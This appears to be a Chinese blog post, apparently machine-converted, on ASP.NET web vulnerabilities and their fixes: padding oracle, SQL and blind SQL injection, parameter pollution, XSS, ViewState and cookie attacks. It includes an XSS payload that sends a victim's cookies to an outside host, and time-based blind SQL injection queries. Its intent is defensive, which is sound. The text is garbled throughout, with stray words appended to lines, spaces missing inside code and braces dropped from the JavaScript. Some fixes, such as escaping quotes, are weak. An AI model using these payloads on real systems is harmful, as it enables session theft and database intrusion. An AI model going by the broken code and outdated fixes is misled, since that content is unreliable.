安全漏洞以及解決方法

1、Padding Oracle Vulnerability,填充甲骨文漏洞。原文:ScottGu的說明html

老趙web

 解決方法:1。添加報錯頁面。防止給黑客提示信息。正則表達式

<configuration>
<system.web><customErrorsmode="On"redirectMode="ResponseRewrite"defaultRedirect="~/error.aspx"/></system.web>
</configuration>

 

2. Error頁面睡眠一會,給黑客照成困難sql

<%@ Page Language="C#"AutoEventWireup="true"%>
<%@ Import Namespace="System.Security.Cryptography"%>
<%@ Import Namespace="System.Threading"%>
<script runat="server">  
 voidPage_Load() {     
 byte[] delay = newbyte[1];      
RandomNumberGenerator prng = newRNGCryptoServiceProvider();      prng.GetBytes(delay);      
Thread.Sleep((int)delay[0]);              
IDisposable disposable = prng asIDisposable;     
 if(disposable != null) { disposable.Dispose(); }    }
</script>

<html>
<head runat="server">    
    <title>Error</title>
</head>
<body>    
    <div> An error occurred whileprocessing your request.    </div>
</body>
</html>

 

 

 

二 、 sql 注入。方式有:數據庫

  一、傳參url方式,直接獲得querystring,而後查詢數據庫。瀏覽器

  二、文本框輸入,如登錄。解決方 法:1..Replace("'", "''");單引號變成雙引號2.用存儲過程。服務器

  三、若是不用存儲過程,應該把每一個傳遞用單引號包含進去。如 '"+querystring+"'".cookie

  原文:sql注入oracle

3、參數污染asp.net

這個下面的xss攻擊解決方法差很少,1.對參數進行驗證。2.加引號

一下是在數據庫驗證前的過濾

  //參數不能夠傳逗號
        string name=Request["name"].Split(',')[0];
 
  //想傳逗號,又想不參數污染的取值方法
 
        Hashtable argObj = new Hashtable();
        if (Request["name"] != null)
        {
            string[] sArgs = Request.QueryString.ToString().Split('&');
            for (int i = 0; i < sArgs.Length; i++)
            {
                string[] r = sArgs[i].Split('=');
                argObj[r[0].ToString()] = r[1];
            }
        }
//js方法 name=1&name=2 
//取第一個name=1
        function request(name) {
            name = name.replace(/[\[]/, "\\\[").replace(/[\]]/, "\\\]");
            var regexS = "[\\?&]" + name + "=([^&#]*)";
            var regex = new RegExp(regexS);
            var results = regex.exec(window.location.href);
            if (results == null)
                return "";
            else
                return results[1];
        }
//取最後一個name=2 
          function argToObject() {
            var sArgs = location.search.slice(1).split('&');
            var argObj = {};
            for (var i = 0; i < sArgs.length; i++) {
                var r = sArgs[i].split('=')
                argObj[r[0]] = r[1]
            }
            return argObj
        }

4、 csrf跨站點請求僞造,1.能夠理解爲cookie劫持。

 <a href="fundzf.aspx?symbol=<%=strSymbol%>">基金分成與拆分</a>

?symbol="  onmouseover=window.open("http://www.baidu.com?cookie="%2Bdocument.cookie)  bad="

這樣就能夠 當把這個頁面被點擊的時候,客戶的cookie就會被劫持

解決方案:對傳過來的參數進行檢查

2.<%@ Page Language="C#" ValidateRequest="false" AutoEventWireup="true" CodeBehind="WebForm2.aspx.cs"
    Inherits="WebApplication6.WebForm2" %>

<html>
<script runat="server">
    void btnSubmit_Click(Object sender, EventArgs e)
    {
        // If ValidateRequest is false, then 'hello' is displayed
        // If ValidateRequest is true, then ASP.NET returns an exception
        Response.Write(txtString.Text);
    }
</script>
<body>
    <form id="form1" runat="server">
    <asp:TextBox ID="txtString" runat="server" Text="<script>alert('hello');</script>" />
    <asp:Button ID="btnSubmit" runat="server" OnClick="btnSubmit_Click" Text="Submit" />
    </form>
</body>
</html>

解決方案:1.升級.netframework,上面的代碼在.netframework2.0中,能夠執行,可是在4.0中就會報錯。2.對用戶輸入的內容進行元字符過濾

 

s腳本中過濾特殊字符的正則表達式代碼:
function stripscript(s) 

var pattern = new RegExp("[`~!@#$^&*()=|{}':;',\\[\\].<>/?~!@#¥……&*()——|{}【】‘;:」「'。,、?]") 
var rs = ""; 
for (var i = 0; i < s.length; i++) { 
rs = rs+s.substr(i, 1).replace(pattern, ''); 

return rs; 

校驗全部輸入域是否含有特殊符號
/** 
* 校驗全部輸入域是否含有特殊符號 
* 所要過濾的符號寫入正則表達式中,注意,一些符號要用'\'轉義. 
* 試例: 
* if(checkAllTextValid(document.forms[0])) 
* alert("表單中全部文本框經過校驗!"); 
*/ 
function checkAllTextValid(form) 

//記錄不含引號的文本框數量 
var resultTag = 0; 
//記錄全部text文本框數量 
var flag = 0; 
for(var i = 0; i < form.elements.length; i ++) 

if(form.elements[i].type=="text") 

flag = flag + 1; 
//此處填寫所要過濾的特殊符號 
//注意:修改####處的字符,其它部分不準修改. 
//if(/^[^####]*$/.test(form.elements[i].value)) 
if(/^[^\|"'<>]*$/.test(form.elements[i].value)) 
resultTag = resultTag+1; 
else 
form.elements[i].select(); 


/** 
* 若是含引號的文本框等於所有文本框的值,則校驗經過 
*/ 
if(resultTag == flag) 
return true; 
else 

alert("文本框中不能含有\n\n 1 單引號: ' \n 2 雙引號: \" \n 3 豎 槓: | \n 4 尖角號: < > \n\n請檢查輸入!"); 
return false; 

}

 

五。Unencrypted __VIEWSTATE parameter,viewstate 保存沒有加密,解決方法

在web.config.中,system.web中加    <machineKey validation="3DES"/>

六。Cookie攻擊的兩種手段:

1,Cookie欺騙

  經過盜取、修改、僞造Cookie的內容來獲得相應權限或者進行相應權限的操做。

2,Cookie注入

  利用Cookie進行數據庫SQL注入,不少人注意過濾經過Get和Post方式獲取的參數,可是卻疏於過濾從Cookie獲取的參數,這點是要引發注意的。

使用Cookie保存的數據

一 般不要用Cookie保存用戶的我的信息,好比密碼、郵箱等,可是若是想在用戶連接到網站的時候,驗證用戶是不是上次登陸的那個用戶,能夠用戶每次登陸成 功後,將一個隨機密碼發送到瀏覽器端保存(固然在服務器端數據庫也要保存該字段,假如字段名爲CookiePassword,注意與用戶登陸密碼不一樣), 當用戶再次登陸時,首先驗證用戶發來的密碼與CookiePassword字段(不是用戶密碼)中保存的是否一致,相同便可認爲是上次正常登陸的用戶。

七。盲sql注入,Blind SQL Injection 解決方法和sql注入同樣。

區別是,sql注入有錯誤的提示信息,盲sql只有對錯,沒有提示信息。

實例:1.經過實踐判斷 咱們的盲sql對了沒有,select  * from  sysusers where  (SELECT count(*) FROM sysusers AS sys1
                                , sysusers assys2, sysusers as sys3
                                , sysusers AS sys4, sysusers AS sys5, sysusers AS sys6
                                ,sysusers AS sys7)>1

例如這個,時間會很長,記住時間。

select  * from  sysusers where  (SELECT count(*) FROM sysusers AS sys1
                                , sysusers assys2, sysusers as sys3
                                , sysusers AS sys4, sysusers AS sys5, sysusers AS sys6
                                ,sysusers AS sys7)>1


 and 0>(select top 1ascii(substring(name,1,1)) from sysusers)

時間很短,說明盲sql沒有獲得想要的數據。

select  * from  sysusers where  (SELECT count(*) FROM sysusers AS sys1
                                , sysusers assys2, sysusers as sys3
                                , sysusers AS sys4, sysusers AS sys5, sysusers AS sys6
                                ,sysusers AS sys7)>1


 and 300>(select top 1ascii(substring(name,1,1)) from sysusers)

時間長點,說明 咱們獲得了東西。

2.經過正則表達式達到目的,咱們要用到like.

select  * from  sysusers where 頁面的參數 and 1=(SELECT TOP 1 1 FROM sysusers WHERE  name LIKE '[a-z]%')

有返回值,說明咱們正確

相關文章
相關標籤/搜索